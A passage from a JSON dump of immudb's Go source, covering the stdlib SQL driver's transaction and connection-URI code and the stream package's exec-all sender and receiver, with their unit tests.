    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql/driver\"\n)\n\ntype dbTx struct {\n\t*Conn\n}\n\nfunc (c *Conn) Begin() (driver.Tx, error) {\n\treturn c.BeginTx(context.Background(), driver.TxOptions{})\n}\n\nfunc (c *Conn) BeginTx(ctx context.Context, opts driver.TxOptions) (driver.Tx, error) {\n\tif !c.immuClient.IsConnected() {\n\t\treturn nil, driver.ErrBadConn\n\t}\n\n\ttx, err := c.immuClient.NewTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc.tx = tx\n\n\treturn &dbTx{c}, nil\n}\n\nfunc (dbTx *dbTx) Commit() error {\n\t_, err := dbTx.tx.Commit(context.Background())\n\tdbTx.tx = nil\n\treturn err\n}\n\nfunc (dbTx *dbTx) Rollback() error {\n\terr := dbTx.tx.Rollback(context.Background())\n\tdbTx.tx = nil\n\treturn err\n}\n"
  },
  {
    "path": "pkg/stdlib/tx_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"google.golang.org/grpc/status\"\n\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestConn_BeginTx(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable1 := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table1))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\ttx, err := db.Begin()\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err = tx.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\tbinaryContent := []byte(\"my blob content1\")\n\tblobContent := hex.EncodeToString(binaryContent)\n\t_, err = db.Exec(fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)\", table, blobContent))\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"table does not exist (%s)\", table))\n\tst, _ := status.FromError(err)\n\trequire.Equal(t, fmt.Sprintf(\"table does not exist (%s)\", table), st.Message())\n\n\terr = tx.Commit()\n\trequire.NoError(t, err)\n\n\tblobContent2 := hex.EncodeToString([]byte(\"my blob content2\"))\n\t_, err = db.Exec(fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)\", table, blobContent2))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?\", table), false, 2, 2000, 3000, \"title 2\").Scan(&id, &amount, &title, &content, &isPresent)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(2), id)\n\trequire.Equal(t, int64(2000), amount)\n\trequire.Equal(t, \"title 2\", title)\n\trequire.Equal(t, []byte(\"my blob content2\"), content)\n\trequire.Equal(t, false, isPresent)\n}\n\nfunc TestTx_Rollback(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttx, err := db.Begin()\n\trequire.NoError(t, err)\n\tdefer tx.Rollback()\n\n\ttable := getRandomTableName()\n\tresult, err := tx.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = tx.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id) VALUES (2)\", table))\n\trequire.NoError(t, err)\n\n\terr = tx.Rollback()\n\trequire.NoError(t, err)\n\n\t_, err = db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT * FROM %s\", table))\n\tst, _ := status.FromError(err)\n\trequire.Equal(t, fmt.Sprintf(\"table does not exist (%s)\", table), st.Message())\n}\n\nfunc TestTx_Errors(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttx, err := db.Begin()\n\trequire.NoError(t, err)\n\n\t_, err = tx.ExecContext(context.Background(), \"this is really wrong\")\n\trequire.ErrorContains(t, err, \"syntax error: unexpected IDENTIFIER at position 4\")\n\n\t_, err = tx.QueryContext(context.Background(), \"this is also very wrong\")\n\trequire.ErrorIs(t, err, sessions.ErrTransactionNotFound)\n}\n"
  },
  {
    "path": "pkg/stdlib/uri.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc ParseConfig(uri string) (*client.Options, error) {\n\tif strings.HasPrefix(uri, \"immudb://\") {\n\t\turl, err := url.Parse(uri)\n\t\tif err != nil {\n\t\t\treturn nil, ErrBadQueryString\n\t\t}\n\n\t\tpw, _ := url.User.Password()\n\t\tport, _ := strconv.Atoi(url.Port())\n\n\t\tsslMode := url.Query().Get(\"sslmode\")\n\t\tdialOptions, err := dialOptions(sslMode)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcliOpts := client.DefaultOptions().\n\t\t\tWithUsername(url.User.Username()).\n\t\t\tWithPassword(pw).\n\t\t\tWithPort(port).\n\t\t\tWithAddress(url.Hostname()).\n\t\t\tWithDatabase(url.Path[1:]).\n\t\t\tWithDialOptions(dialOptions)\n\n\t\treturn cliOpts, nil\n\t}\n\n\treturn nil, ErrBadQueryString\n}\n\nfunc GetUri(o *client.Options) string {\n\tu := url.URL{\n\t\tScheme: \"immudb\",\n\t\tUser: url.UserPassword(\n\t\t\to.Username,\n\t\t\to.Password,\n\t\t),\n\t\tHost: strings.Join([]string{o.Address, \":\", strconv.Itoa(o.Port)}, \"\"),\n\t\tPath: o.Database,\n\t}\n\n\treturn u.String()\n}\n\nfunc dialOptions(sslmode string) ([]grpc.DialOption, error) {\n\tif sslmode == \"\" {\n\t\tsslmode = \"disable\"\n\t}\n\n\tswitch sslmode {\n\tcase \"disable\":\n\t\treturn []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())}, nil\n\tcase \"insecure-verify\":\n\t\treturn []grpc.DialOption{grpc.WithTransportCredentials(credentials.NewTLS(&tls.Config{InsecureSkipVerify: true}))}, nil\n\tcase \"require\":\n\t\treturn []grpc.DialOption{grpc.WithTransportCredentials(credentials.NewTLS(&tls.Config{}))}, nil\n\tdefault:\n\t\treturn nil, errors.New(\"sslmode is invalid\")\n\t}\n}\n"
  },
  {
    "path": "pkg/stdlib/uri_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc testServer(t *testing.T) (port int, cleanup func()) {\n\toptions := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(t.TempDir())\n\n\tserver := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\tserver.Initialize()\n\n\tgo func() {\n\t\tserver.Start()\n\t}()\n\n\t// TODO: Use a better method to wait for the test server\n\ttime.Sleep(500 * time.Millisecond)\n\n\tport = server.Listener.Addr().(*net.TCPAddr).Port\n\treturn port, func() { server.Stop() }\n}\n\nfunc setTempCwd(t *testing.T) {\n\torigDir, err := os.Getwd()\n\trequire.NoError(t, err)\n\n\terr = os.Chdir(t.TempDir())\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() { os.Chdir(origDir) })\n}\n\nfunc TestDriver_Open(t *testing.T) {\n\tsetTempCwd(t)\n\n\td := immuDriver\n\tconn, err := d.Open(\"immudb://immudb:immudb@127.0.0.1:5555/defaultdb\")\n\trequire.Error(t, err)\n\trequire.Nil(t, conn)\n}\n\nfunc TestParseConfig(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"immudb\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfig_InsecureVerify(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=insecure-verify\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"immudb\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfig_Require(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=require\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"immudb\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfigErrs(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:aaa/defaultdb\"\n\t_, err := ParseConfig(connString)\n\trequire.ErrorIs(t, err, ErrBadQueryString)\n\n\tconnString = \"AAAA://immudb:immudb@127.0.0.1:123/defaultdb\"\n\t_, err = ParseConfig(connString)\n\trequire.ErrorIs(t, err, ErrBadQueryString)\n\n\tconnString = \"AAAA://immudb:immudb@127.0.0.1:123/defaultdb?sslmode=invalid\"\n\t_, err = ParseConfig(connString)\n\trequire.ErrorIs(t, err, ErrBadQueryString)\n}\n\nfunc TestDriver_OpenSSLPrefer(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tsetTempCwd(t)\n\n\td := immuDriver\n\tconn, err := d.Open(fmt.Sprintf(\"immudb://immudb:immudb@127.0.0.1:%d/defaultdb\", port))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc TestDriver_OpenSSLDisable(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tsetTempCwd(t)\n\n\td := immuDriver\n\tconn, err := d.Open(fmt.Sprintf(\"immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable\", port))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc TestDriver_OpenSSLRequire(t *testing.T) {\n\tt.Skip(\"TODO: internal server not running with ssl mode\")\n\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tsetTempCwd(t)\n\n\td := immuDriver\n\tconn, err := d.Open(fmt.Sprintf(\"immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=require\", port))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc Test_SQLOpen(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tsetTempCwd(t)\n\n\tdb, err := sql.Open(\"immudb\", fmt.Sprintf(\"immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable\", port))\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", \"myTable\"))\n\trequire.NoError(t, err)\n}\n\nfunc Test_Open(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tsetTempCwd(t)\n\n\tdb := Open(fmt.Sprintf(\"immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable\", port))\n\trequire.NotNil(t, db)\n\n\t_, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", \"myTable\"))\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/stream/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n)\n\nvar ErrMaxValueLenExceeded = \"internal store max value length exceeded\"\nvar ErrMaxTxValuesLenExceeded = \"max transaction values length exceeded\"\nvar ErrChunkTooSmall = fmt.Sprintf(\"minimum chunk size is %d\", MinChunkSize)\nvar ErrRefOptNotImplemented = \"reference operation is not implemented\"\nvar ErrUnableToReassembleExecAllMessage = \"unable to reassemble ZAdd message on a streamExecAll\"\n\nfunc init() {\n\terrors.CodeMap[ErrMaxValueLenExceeded] = errors.CodDataException\n\terrors.CodeMap[ErrMaxTxValuesLenExceeded] = errors.CodDataException\n\terrors.CodeMap[ErrRefOptNotImplemented] = errors.CodUndefinedFunction\n\terrors.CodeMap[ErrUnableToReassembleExecAllMessage] = errors.CodInternalError\n}\n"
  },
  {
    "path": "pkg/stream/execall_receiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/golang/protobuf/proto\"\n)\n\ntype execAllStreamReceiver struct {\n\ts                io.Reader\n\tkvStreamReceiver KvStreamReceiver\n\tBufferSize       int\n}\n\n// NewExecAllStreamReceiver returns a new execAllStreamReceiver\nfunc NewExecAllStreamReceiver(s io.Reader, bs int) ExecAllStreamReceiver {\n\treturn &execAllStreamReceiver{\n\t\ts:                s,\n\t\tkvStreamReceiver: NewKvStreamReceiver(s, bs),\n\t\tBufferSize:       bs,\n\t}\n}\n\n// Next returns the following exec all operation found on the wire. If no more operations are presents on stream it returns io.EOF\nfunc (eas *execAllStreamReceiver) Next() (IsOp_Operation, error) {\n\tfor {\n\t\tt, err := ReadValue(eas.s, eas.BufferSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tswitch t[0] {\n\t\tcase TOp_Kv:\n\t\t\tkey, vr, err := eas.kvStreamReceiver.Next()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &Op_KeyValue{\n\t\t\t\tKeyValue: &KeyValue{\n\t\t\t\t\tKey: &ValueSize{\n\t\t\t\t\t\tContent: bytes.NewBuffer(key),\n\t\t\t\t\t\tSize:    len(key),\n\t\t\t\t\t},\n\t\t\t\t\tValue: &ValueSize{\n\t\t\t\t\t\tContent: vr,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}, nil\n\t\tcase TOp_ZAdd:\n\t\t\tzr := &schema.ZAddRequest{}\n\t\t\tzaddm, err := ReadValue(eas.s, eas.BufferSize)\n\t\t\terr = proto.Unmarshal(zaddm, zr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.New(ErrUnableToReassembleExecAllMessage)\n\t\t\t}\n\t\t\treturn &Op_ZAdd{\n\t\t\t\tZAdd: zr,\n\t\t\t}, nil\n\t\tcase TOp_Ref:\n\t\t\treturn nil, errors.New(ErrRefOptNotImplemented)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/stream/execall_receiver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar errCustom = errors.New(\"custom one\")\n\nfunc TestNewExecAllStreamReceiver(t *testing.T) {\n\tr := bytes.NewBuffer([]byte{})\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\trequire.IsType(t, new(execAllStreamReceiver), esr)\n}\n\nfunc TestExecAllStreamReceiver_Next(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Kv}, E: io.EOF},\n\t\t{M: []byte{1, 1, 1}, E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, op)\n}\n\nfunc TestExecAllStreamReceiver_NextZAdd(t *testing.T) {\n\tzadd := &schema.ZAddRequest{}\n\tzaddb, _ := proto.Marshal(zadd)\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Kv}, E: io.EOF},\n\t\t{M: []byte{1, 1, 1}, E: io.EOF},\n\t\t{M: []byte{TOp_ZAdd}, E: io.EOF},\n\t\t{M: zaddb, E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, op)\n\top, err = esr.Next()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, op)\n}\n\nfunc TestExecAllStreamReceiver_NextZAddUnmarshalError(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Kv}, E: io.EOF},\n\t\t{M: []byte{1, 1, 1}, E: io.EOF},\n\t\t{M: []byte{TOp_ZAdd}, E: io.EOF},\n\t\t{M: []byte{1, 1, 1}, E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, op)\n\top, err = esr.Next()\n\trequire.ErrorContains(t, err, ErrUnableToReassembleExecAllMessage)\n\trequire.Nil(t, op)\n}\n\nfunc TestExecAllStreamReceiver_NextRefError(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Ref}, E: io.EOF},\n\t\t{M: []byte{1, 1, 1}, E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.ErrorContains(t, err, ErrRefOptNotImplemented)\n\trequire.Nil(t, op)\n}\n\nfunc TestExecAllStreamReceiver_NextKvStreamerError(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Kv}, E: errCustom},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, op)\n}\n\nfunc TestExecAllStreamReceiver_NextKvStreamerNextError(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte{TOp_Kv}, E: io.EOF},\n\t\t{M: []byte{4}, E: errCustom},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tesr := NewExecAllStreamReceiver(r, 4096)\n\top, err := esr.Next()\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, op)\n}\n"
  },
  {
    "path": "pkg/stream/execall_sender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/golang/protobuf/proto\"\n)\n\ntype execAllStreamSender struct {\n\ts              MsgSender\n\tkvStreamSender KvStreamSender\n}\n\n// NewExecAllStreamSender returns a new ExecAllStreamSender\nfunc NewExecAllStreamSender(s MsgSender) ExecAllStreamSender {\n\treturn &execAllStreamSender{\n\t\ts:              s,\n\t\tkvStreamSender: NewKvStreamSender(s),\n\t}\n}\n\n// Send send an ExecAllRequest on stream\nfunc (st *execAllStreamSender) Send(req *ExecAllRequest) error {\n\tfor _, op := range req.Operations {\n\t\tswitch x := op.Operation.(type) {\n\t\tcase *Op_KeyValue:\n\t\t\tst.s.Send(bytes.NewBuffer([]byte{TOp_Kv}), 1, nil)\n\t\t\terr := st.kvStreamSender.Send(x.KeyValue)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase *Op_ZAdd:\n\t\t\terr := st.s.Send(bytes.NewBuffer([]byte{TOp_ZAdd}), 1, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tzAddRequest, err := proto.Marshal(x.ZAdd)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = st.s.Send(bytes.NewBuffer(zAddRequest), len(zAddRequest), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase *Op_Ref:\n\t\t\treturn errors.New(ErrRefOptNotImplemented)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/stream/execall_sender_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/gogo/protobuf/proto\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewExecAllStreamSender(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\teas := NewExecAllStreamSender(s)\n\trequire.IsType(t, new(execAllStreamSender), eas)\n}\n\nfunc TestExecAllStreamSender_Send(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\teas := NewExecAllStreamSender(s)\n\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_KeyValue{\n\t\t\t\t\tKeyValue: &KeyValue{\n\t\t\t\t\t\tKey: &ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tValue: &ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.NoError(t, err)\n}\n\nfunc TestExecAllStreamSender_SendZAddError(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn errCustom\n\t}\n\teas := NewExecAllStreamSender(s)\n\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.ErrorIs(t, err, errCustom)\n}\n\nfunc TestExecAllStreamSender_SendZAddError2(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\n\teas := NewExecAllStreamSender(s)\n\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: nil,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.ErrorContains(t, err, proto.ErrNil.Error())\n}\n\nfunc TestExecAllStreamSender_SendZAddError3(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\tsec := false\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\tif sec {\n\t\t\treturn errCustom\n\t\t}\n\t\tsec = true\n\t\treturn nil\n\t}\n\n\teas := NewExecAllStreamSender(s)\n\n\taOps := 